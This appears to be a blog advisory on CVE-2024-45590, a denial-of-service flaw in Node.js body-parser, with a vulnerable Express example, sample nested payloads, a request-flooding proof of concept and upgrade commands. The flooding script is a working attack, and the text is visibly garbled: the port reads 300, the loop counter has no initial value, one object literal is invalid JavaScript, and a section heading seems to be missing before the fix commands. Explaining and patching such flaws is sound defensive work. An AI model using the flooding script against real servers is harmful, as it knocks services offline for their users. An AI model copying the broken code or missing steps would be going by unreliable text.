If you work with Node.js, you’ve probably used body-parser before as part of your web server. But, a recent vulnerability has been found in this popular middleware: CVE-2024-45590. In this post, we’ll take a close look at what happened, how attackers can exploit it, and—importantly—how to fix it.

What is CVE-2024-45590 All About?

body-parser, a widely-used middleware for handling incoming request bodies in Node.js, was found to be vulnerable when parsing URL-encoded data. Specifically, all versions before 1.20.3 are affected. If you’ve enabled URL encoding in your body-parser setup, your server could be open to Denial of Service (DoS) attacks.

A hacker can craft a specific payload that, when sent multiple times, could overwhelm and slow down your server—sometimes even taking it offline.

Why Is This Dangerous?

If an attacker floods your server with many specially formed HTTP POST requests, each with a payload that maximizes the parser’s workload, your server could consume all its CPU resources. Legitimate users will either experience severe delays or, worse, get cut off entirely.

Here’s how many people set up body-parser in their Express apps (the vulnerable way)

// app.js
const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// This is vulnerable in versions <1.20.3
app.use(bodyParser.urlencoded({ extended: true }));

app.post('/submit', (req, res) => {
  res.send('Received!');
});

app.listen(300, () => {
  console.log('Server running on port 300');
});

If your package.json lists a body-parser version lower than 1.20.3, you’re at risk.

How the Exploit Works

Attackers abuse the way body-parser processes deeply nested or *specially crafted* URL-encoded payloads. By generating payloads that force the parser into inefficient parsing cycles, they "lock up" server resources.

This is a simplified version—real attackers will use larger payloads, but you get the idea

field1=%5B%5D%5B%5D%5B%5D%5B%5D%5B%5D...

Or, a payload with huge nesting like

foo[bar][baz][qux][quux]...[tons of extra nesting]=1

Trigger a denial-of-service by sending hundreds or thousands of these requests at the same time.

Here’s a proof-of-concept (for educational purposes only)

const http = require('http');
const querystring = require('querystring');

const postData = querystring.stringify({
  'a'.repeat(10000): 'b'
});

const options = {
  hostname: 'localhost',
  port: 300,
  path: '/submit',
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': Buffer.byteLength(postData)
  }
};

for (let i = ; i < 500; i++) {
  const req = http.request(options);
  req.write(postData);
  req.end();
}

*Again: DO NOT use this against any server you do not own or have permission to test. It's for demonstration only!*

You can do this by running

npm install body-parser@latest

or, to lock to the fixed version

npm install body-parser@1.20.3

How the Patch Works

The maintainers of body-parser addressed this by adding better checks on input depth and preventing abusive payloads from hogging resources. For more details, check the official GitHub advisory.

`

- Use security tools like npm audit to spot vulnerabilities early.

References

- CVE-2024-45590 NVD
- body-parser GitHub Security Advisory
- body-parser npm page

Quick Recap

If your Node.js server uses body-parser older than 1.20.3 and parses URL-encoded request bodies, you must upgrade now. This vulnerability is easy to exploit and can bring down your app with just a flood of malicious requests.

Timeline

Published on: 09/10/2024 16:15:21 UTC
Last modified on: 09/20/2024 16:26:44 UTC